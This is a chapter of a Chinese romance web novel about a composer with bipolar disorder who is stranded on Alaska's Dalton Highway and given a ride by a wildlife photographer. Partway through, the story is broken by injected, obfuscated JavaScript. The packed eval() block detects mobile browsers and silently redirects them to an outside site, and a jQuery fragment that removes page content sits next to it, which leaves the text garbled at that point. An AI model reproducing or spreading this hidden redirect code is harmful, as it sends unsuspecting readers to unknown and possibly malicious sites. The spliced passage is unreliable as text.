为了躲避一头横穿公路的驼鹿，顾灯连人带车冲进了雪地里，万幸人没有受伤，只是发动机熄了火。
3月，阿拉斯加道尔顿公路风雪肆虐，室外气温低至零下30度，信号全无，只有无线电可以和附近的司机通信。顾灯发布求救信号后十几分钟，频道内都没有任何回应。
车窗玻璃开始结冰，顾灯呼出一口冷气，从背包里翻出户外羽绒服穿上。
依旧无人回应。
窗外大雪弥漫，一场北极风暴正在形成。
直到现在顾灯才不得不承认，自驾道尔顿公路的行为确实太冒险了。他经常会在轻躁狂发作时轻率做出决定，等恢复正常后又追悔莫及。
起初他来阿拉斯加只是想观鲸，可观鲸团最早也要4月开放，他来早了整整半个月，于是他决定开车去北极。
当时租车公司的人就劝过他不要单独前往，说道尔顿公路环境恶劣，是全球最危险的公路之一。可惜顾灯对此毫不在意，他当时信心十足，渴望冒险，觉得自己能做一切事情——典型的轻躁狂前期征兆。
他本该心生警惕，联系主治医生和值得信任的亲友，交出车钥匙，不再做出任何重大决定。
可顾灯把躁狂预防合同撕了，去户外品牌店购入耐极寒冲锋衣，灌了两桶油，去超市打包了3天的食物，兴冲冲地把车开上了死亡公路。
他受够了一次次的情绪反复，也疲于持续去做情绪管理。他想要自由的哭，放肆的笑，而不是每次情绪波动都要腾出时间，去写那个该死的情绪日记！
当他开车沿着道尔顿公路一路北上，听着旅行歌单，看着逐渐荒芜的原野，顾灯感到了一股前所未有的幸福和自由。
这种幸福只持续了两小时，然后他的车抛锚在了无人之地。
频道内依旧没有回音，顾灯已经疲于一遍遍描述自己的事故遭遇。更重要的是，他突然有些记不清，当时究竟有没有驼鹿横穿公路。
可如果没有驼鹿，他怎么会出事？可如果有驼鹿，他又怎么找不到任何脚印？
顾灯吃了一粒拉莫三嗪，意图冷静。可药效似乎没有发挥作用，因为他决定下车去找驼鹿的脚印。
他独自走在雪地中，大雪模糊了公路和荒原的痕迹，只有两排窄窄的路标指引方向，仿佛末日里的场景。
顾灯看着这一幕，心中突然涌起一股奇异的感动和宁静。他想，死在这里似乎也没什么好可惜。
偏偏事与愿违，前方突然传来一阵轰鸣，黄光穿透风雪，一辆改装福特猛禽缓缓驶近。车窗降下，露出司机高大的身影。
“是你发的求救信息？”
一个相当英俊的亚裔，英语没有口音，顾灯无法分辨他的国籍。
“是我，”皮卡太高了，顾灯不得不仰起头说，“我的车抛锚了，能搭个便车吗？”
“你去哪儿？”
“死马镇。”
“我只到冷脚。”
“也可以。”
男人于是打开车门，顾灯先是道谢，又请对方允许他回去拿行李。男人没说话，人下车和他一起过去。
顾灯行李不多，但后备箱里还有两桶油。油桶太重，顾灯一下没能提起来，还想再试，一只大手伸来握住手柄，男人一只手拎着一桶油，垂眸问他：“还有吗？”
“没了。”顾灯说。
男人便转身往回走去，他有着一身令人羡慕的肌肉，提着两桶油走在雪地中，如履平地。
顾灯提着行李箱跟在他身后，说：“非常感谢您的帮助，我叫顾灯，请问您怎么称呼？”
“章离。”
“中国人？”
“是。”
“啊……！”顾灯开心地换成了中文，但又立刻失落起来，“你不认识我啊？”
“认识。”章离用中文回答。
“吓我一跳，”顾灯这才笑了起来，“我刚才都有点儿伤心了。”
章离：“抱歉。”
“我开玩笑啦，”顾灯摇头，语气真诚道，“而且该我说对不起才对，还好遇见了你，不然我都不知道该怎么办了。”
章离摇摇头，似乎早已习惯路人的热情感谢。他把油桶放进皮卡货箱，顾灯也放好行李坐进副驾驶。
看着前面的茫茫风雪，顾灯突然问：“你看到驼鹿的脚印了吗？”
“什么脚印？”
“我撞到驼鹿才出的意外，可我现在找不到驼鹿的脚印了。”
章离抬头看向前方，只有两道歪斜的车辙印。他说：“可能被雪盖住了。”
“哦。”顾灯似乎被这个解释说服，松了口气。
二人驱车上路，车内暖气充足，顾灯觉得有些热，脱掉羽绒服搭在了膝盖上。章离依旧沉默，除了最初的简短交流，此后就没再开过口。
顾灯有点儿憋不住，问：“可以听歌吗？”
章离点头，顾灯就连上wifi，轻快的音乐弥漫在车厢中，他随着音乐晃动身体，看起来似乎很高兴。
过了一会儿，顾灯又问：“我有点儿饿了，可以在车里吃东西吗？”
得到允许，顾灯探到后座打开背包，从里面拿出两个三明治，拆开一个递过去：“你吃吗？”
章离说不用，顾灯于是自己吃了起来，他双手捧着面包，几乎没有发出咀嚼声。吃完三明治后，顾灯把垃圾塞回包里，掏出一个巴掌大的笔记本开始写东西。
这时候，顾灯突然变得非常安静。这种安静具有一种排他性，他彻底沉入了自己的世界里。
直到章离停车喊他名字，顾灯这才从自己的世界中抽离，有些茫然地抬头：“怎么了？”
章离说前方有车辆侧滑，他要下去看看情况，顾灯看了眼GPS，才发现他们已经抵达了手指山。这里已经快要接近北极，偏偏又是一处长上坡路段，因为山体孤立，冬季盛行大横风，再加上风吹雪掩埋道路，极易发生事故。
前方这辆车就陷进了雪地里，目前来看只是轨迹稍有偏离，没有侧翻的痕迹。
章离和车主做了简单沟通，连上绞盘给受困车辆做牵引。他似乎已经很习惯这样的场景，全程操作熟稔，游刃有余。
车辆成功脱困，车主下车依次和他们说谢谢，还硬要塞一个鹿角给章离当谢礼。章离数次婉拒。
顾灯热闹看得正起劲儿，没想到又有个女人下车朝他走来。
对方怀里抱着一坨东西，顾灯义正言辞说不用。没想到女人掀开帽子，竟露出一双忽闪忽闪的大眼睛。
顾灯人都懵了，女人笑着说：“宝宝想亲自感谢你们。”
“啊？”顾灯茫然，“怎么感谢？”
“哥哥，手。”小朋友才刚学会说话，口齿不清。
顾灯有些茫然地伸手，小女孩儿挥着胳膊，往他掌心里放了两颗糖。
这种体验有些新奇，顾灯捏了捏小朋友手套，笑着说了声谢谢。
小朋友却急了，哥哥的手那么大，她给的糖也太少了！
于是她又伸进口袋掏啊掏，戴着手套一通乱抓，不仅没抓到糖果，反而把糖全都弄到了雪地里。孩子更急了，身体一挣就要下去捡，妈妈差点儿没逮住。
顾灯哪儿能让孩子真落地，外面风这么大，孩子才这么丁点儿，指不定一下就被吹走了。顾灯下车捡起糖果，客客气气地把这对母女送了回去。
爸爸在章离那里遭遇滑铁卢，一脸遗憾地扛着鹿角回来，看见顾灯又眼前一亮，举着鹿角朝他飞奔而来，吓得顾灯拔腿就跑。
“吓死我，差点儿没跑掉，”顾灯坐进副驾驶，又有些好奇，“不过那是真的鹿角吗？”
章离说是。
“哦。”顾灯应了一声，突然变得有些安静。
事故车辆重新上了路，章离驱车缓缓跟随，直到这家人顺利翻过五指山，才超车往前去了。
大雪散去，阳光重新照亮极地针叶林，一只驼鹿突然出现在静谧的森林里。它仰头去吃树上的枝叶，巨大、温柔又安静，像是只会出现在梦里的情景。顾灯目光追随，直到驼鹿彻底消失在视线里。
顾灯：“你看见那只驼鹿了吗？”
“没有。”
“抱歉，我应该早点叫你。”
“没关系。”
“下次看见我提前告诉你。”
“嗯。”
皮卡沿着输油管道朝北前进，顾灯剥了个糖放进嘴里，酸酸甜甜的，很浓的葡萄味儿。
他拆了个给章离，后者没接。
“吃吧，”顾灯说，“小朋友特意送你的谢礼。”
章离于是拿起糖吃了，他其实长得有些严肃，高大健壮的体格也很有压迫感，但此时脸颊因为吃糖鼓起一小块儿，看起来莫名有点儿呆。
经过手指山后再开20公里就是北极圈，顾灯下车打了卡，但说实话，他觉得这个景点非常普通，除了有个写着北极圈的路牌，压根儿没有什么特殊的风景。
他反而更喜欢后面停车的地点，那时太阳已经快要落山，天空中出现一大片粉紫的云彩，章离突然把车停下，拿着相机下了车。这里的树比之前的更矮了，稀稀朗朗地长在雪地里，把大地变成了一只毛茸茸的小动物。
章离朝着森林走去，顾灯也跟着下了车，他小心翼翼地靠近，终于看见了章离要拍的那群小东西。几乎只有巴掌大的小山雀，羽毛蓬松，有着漆黑的头顶，正在林间一起一落地跳跃，时不时发出阵阵脆鸣。
很可爱的小东西，顾灯被它们吸引，可章离却放下相机往回走，一张照片也没有留。
“你怎么不拍了？”顾灯纳闷。
“我认错了。”
“什么？”
章离用相机拉近距离，让顾灯凑近取景器：“看见这些山雀的头顶了吗？黑的。”
顾灯：“嗯，看见了。”
章离又说：“我在找一种和它们很像的鸟，叫西伯利亚山雀，我刚才弄混了它们的叫声。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463569|169754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“哦，原来是这样，”顾灯点头，又问，“可你为什么要找那种鸟？”
章离收起相机，解释：“西伯利亚山雀很少出现在阿拉斯加，我在帮助本地一所大学的鸟类实验室搜集资料。”
“听起来很有趣，”顾灯眼睛亮了起来，“所以你是鸟类学家？工作就是在野外研究鸟类？”
“不，”章离说，“我是野生动物摄影师。”
天空蔚蓝，雪粉被夕阳照亮，发出钻石一样的光芒。雪地里有黑影起伏，是黑顶山雀在树枝间跳跃。
顾灯面露憧憬：“做这种工作很幸福吧？”
章离：“还行。”
顾灯：“我能录一下它们的声音吗？十分钟就行。”
章离说可以。
顾灯连忙跑回车里拿设备，麦克风、录音器、监听耳机一样不缺，他甚至还给收音话筒套了件毛衣。他早就想录一些环境音了，但坐着车别人的车，一直没好意思开口。
顾灯小心翼翼地靠近，把麦克风对准山雀，耳机里同步传来清脆的鸟鸣。
他说是十分钟，果然一点儿也没超时，第9分钟时顾灯就取下耳机，回了车里。从他脸上的表情来看，应该是录到了很满意的东西。
他们在天黑时抵达了冷脚镇，这是道尔顿公路上唯一一个小镇，大部分人会在这里停车补给，休整一晚再去死马镇。
章离停好车，顾灯还在看手机，他戴着耳机，完全没有注意到周围的变化。
“嗡嗡——”
手机声响，章离下车接通电话。
“你在哪儿？”史密斯的声音响起。
“停车场。”
“行，我过来找你，”男人又说，“正好一起吃晚饭。”
“再说。”
“那我先来拿东西。”
章离挂断电话，发现顾灯已经取下耳机，有些茫然地打量着周围的环境。章离重新回到车里。
顾灯问：“到冷脚镇了？”
“嗯，”章离抬手一指，“旅馆在那儿。”
“好，谢谢你。”顾灯解开安全带，绕到后座去拿行李。
天已经全黑了，淡绿色的极光在头顶闪烁，一排重卡停在周围，像是汽车人集结。
顾灯背上背包，章离帮他拿行李箱，还有两个油桶。
顾灯抽起箱拖杆，说：“油你留着吧，算这一路的油费。”
章离：“不用。”
顾灯开始翻钱包：“那我给你现金。”
章离：“我不是这个意思。”
“那你把油收下，”顾灯说，“你不带走，我都不知道要怎么处理。”
章离沉默几秒，这才说了行。
顾灯挥手：“那我先走啦。”
章离：“再见。”
顾灯说完却没有离开，他指了指身后的旅馆，问：“你今晚也住这儿？”
章离：“我住朋友那儿。”
“哦，”顾灯有些失落，“那我们应该见不着了。”
这话不好接，章离没有回应。
与此同时，史密斯过来找他拿设备。章离把东西给他，一转身却发现顾灯还在这里。
他穿着一件颇有设计感的硬壳冲锋衣，头戴复古监听耳机，黑色外套和极白的肤色对比，看上去剔透又纯净。
“章，一起吃晚饭？”史密斯的声音响起。
章离却径直朝着顾灯走去，站在他面前问：“你还有事？”
顾灯冲他招了招手：“你头低一点。”
章离低下头，顾灯往他头上扣下耳机。
降噪耳机瞬间隔绝了外界的一切噪音，章离有些茫然地抬头——闭眼。他看见顾灯做出口型，然后按下播放键。
阿拉斯加夜空下，寒风呼啸而过。章离闭上眼，安静地听完了这两分钟。一首温柔的钢琴曲，情绪很淡，透着孤独，却也有一种很浅的感动。
音乐结束，章离缓缓睁开眼睛。
他有着一副深邃的眉眼，鼻梁高挺，面部折叠度高，再加上话少，给人一种凶悍冷漠的印象。但当他低头取下耳机，眼神却多了一分温柔。
“你在路上写的？”他听出了里面的鸟鸣和雪落。
“嗯，”顾灯问，“你喜欢吗？”
“喜欢。”
“那送你吧。”
章离愣了下：“送我？”
“对啊，”顾灯说，“我把音频发你，你想怎么用都行。”
暂且不论顾灯身份摆在这里，就算是一个普通的作曲人，也不会随手送出这么珍贵的东西。
他们用的是同一款手机，顾灯把文件隔空投送过来，章离依旧没有做出反应。
顾灯挥手，说：“再见。”
章离终于抬起头，他开口叫住顾灯，眼中多了一些别的东西：“为什么送我这个？”
“谢谢你啊，不过也是收买你，”顾灯冲章离眨了下眼，笑着说，“我的行踪，还请替我保密。”